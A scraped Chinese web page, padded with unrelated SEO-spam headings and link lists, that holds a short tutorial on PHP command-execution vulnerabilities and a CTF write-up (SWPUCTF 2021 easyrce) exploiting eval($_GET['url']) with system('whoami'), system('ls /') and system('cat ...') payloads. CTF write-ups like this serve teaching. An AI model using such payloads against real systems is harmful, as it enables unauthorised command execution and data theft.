当前位置: 首页 > news >正文

漂流瓶做任务网站百度seo快速排名优化

漂流瓶做任务网站,百度seo快速排名优化,网站建设技能描述,商城网站建设软件一.原理 应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。 二.利用条…

一.原理

应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。

二.利用条件

1、应用调用执行系统命令的函数

2、将用户输入作为系统命令的参数拼接到了命令行中

3、没有对用户输入进行过滤或过滤不严

三.分类

1.远程命令执行漏洞

概念:远程命令执行漏洞,指用户通过浏览器提交执行操作命令, 由于服务器端,没有针对执行函数做过滤,就执行了恶意命令

2、远程代码执行漏洞

概念:代码执行漏洞也叫代码注入漏洞,指用户通过浏览器 提交执行恶意脚本代码,执行恶意构造的脚本代码

四.例题

[SWPUCTF 2021 新生赛]easyrce

1.给一串代码,直接审计

eval():把字符串按照 PHP 代码来计算,需以分号结尾

  1. error_reporting(0);:这行代码将错误报告设置为关闭状态。这意味着在执行PHP代码时,不会显示任何错误或异常信息。这可能会导致难以调试和发现潜在的问题。
  2. highlight_file(__FILE__);:这行代码使用highlight_file()函数来高亮显示当前文件的代码。__FILE__是一个预定义的常量,它表示当前文件的路径和文件名。这个功能可以在调试或查看代码时提供帮助。
  3. if(isset($_GET['url'])):这行代码检查是否有一个名为"url"的GET参数存在。$_GET是一个超全局数组,用于获取通过HTML表单或URL传递的变量值。如果存在名为"url"的GET参数,则继续执行代码。
  4. eval($_GET['url']);:这行代码使用eval()函数执行用户提供的代码。$_GET['url']获取前面检查的GET参数"url"的值,并将其作为字符串传递给eval()函数执行。这意味着用户可以在URL中输入任何PHP代码,并将其执行。

发现通过GET传参,实现命令执行

2.构造payload,查看权限,发现为www-data

/?url=system("whoami");

2.查看目录,发现flllllaaaaaaggggggg

/?url=system("ls /");

3.cat查看文件,得到flag

/?url=system("cat /flllllaaaaaaggggggg");

http://www.yayakq.cn/news/205173/

相关文章:

  • 郑州网站建设创业广州站到广州南站地铁要多久
  • 网站建设服务费税率多少寿光网站建设价格
  • 网站建设登录界面代码首页关键词优化价格
  • 有关网站开发的外文文献网站建设相关语言
  • 网站后台编辑框不显示微信小程序开发怎么做
  • 宁波模板做网站购物网站功能报价
  • 南京网站建设学习扁平化网站导航ui模板
  • 网站视图错位网站被跳转公告怎么写
  • 技术支持 东莞网站建设机械加工百度推广运营专员
  • 网站建设福州公司wordpress打开提速
  • 视频教做家常菜的网站手机兼职有哪些
  • 扶余市建设局网站wordpress主题中英文
  • 帝国做的网站打开速度拓普网站建设
  • 涟水网站建设宁晋县建设局网站
  • 厦门哪里有教网站建设WordPress关键词过滤
  • 南浔哪有做网站的金科做的网站
  • 东莞网站建设及外包室内装饰网站模板
  • 设计感网站襄阳营销型网站
  • 河南网站建设华企祥云不用花生壳做网站服务器
  • 朔州路桥建设有限责任公司网站设计师学校有哪些
  • 昆明网站建设系统浏览器禁止网站怎么做
  • 包装设计的网站网站常用字体
  • 网络游戏开发培训上海网站关键词优化
  • 轻量应用服务器搭建网站外发加工网有什么软件
  • 郴州做网站网站搭建代理
  • 建设局网站打不开盐城网站开发公司电话
  • 上海网站建设团队杨浦wordpress怎么清缓存
  • php做网站标题加链接网站搜索引擎优化的基本内容
  • 便宜购 网站建设代运营网站
  • 创可贴在线设计网站钢结构东莞网站建设